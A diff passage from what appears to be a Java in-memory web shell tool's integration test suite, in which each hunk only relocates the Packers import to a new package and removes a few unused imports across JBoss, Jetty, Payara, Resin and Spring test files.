-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jbossas;
|
package com.reajason.javaweb.integration.jbossas;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jbossas;
|
package com.reajason.javaweb.integration.jbossas;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jbossas;
|
package com.reajason.javaweb.integration.jbossas;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jbosseap;
|
package com.reajason.javaweb.integration.jbosseap;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jbosseap;
|
package com.reajason.javaweb.integration.jbosseap;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-5
@@ -1,17 +1,16 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.DockerComposeContainer;
|
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.Network;
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -19,13 +18,10 @@ import org.testcontainers.images.builder.ImageFromDockerfile;
|
|||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
import java.io.File;
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.jettyPid;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.jetty;
|
package com.reajason.javaweb.integration.jetty;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.payara;
|
package com.reajason.javaweb.integration.payara;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.payara;
|
package com.reajason.javaweb.integration.payara;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.payara;
|
package com.reajason.javaweb.integration.payara;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.resin;
|
package com.reajason.javaweb.integration.resin;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.resin;
|
package com.reajason.javaweb.integration.resin;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.resin;
|
package com.reajason.javaweb.integration.resin;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.resin;
|
package com.reajason.javaweb.integration.resin;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.springwebflux;
|
package com.reajason.javaweb.integration.springwebflux;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.springwebflux;
|
package com.reajason.javaweb.integration.springwebflux;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.springwebmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.springwebmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
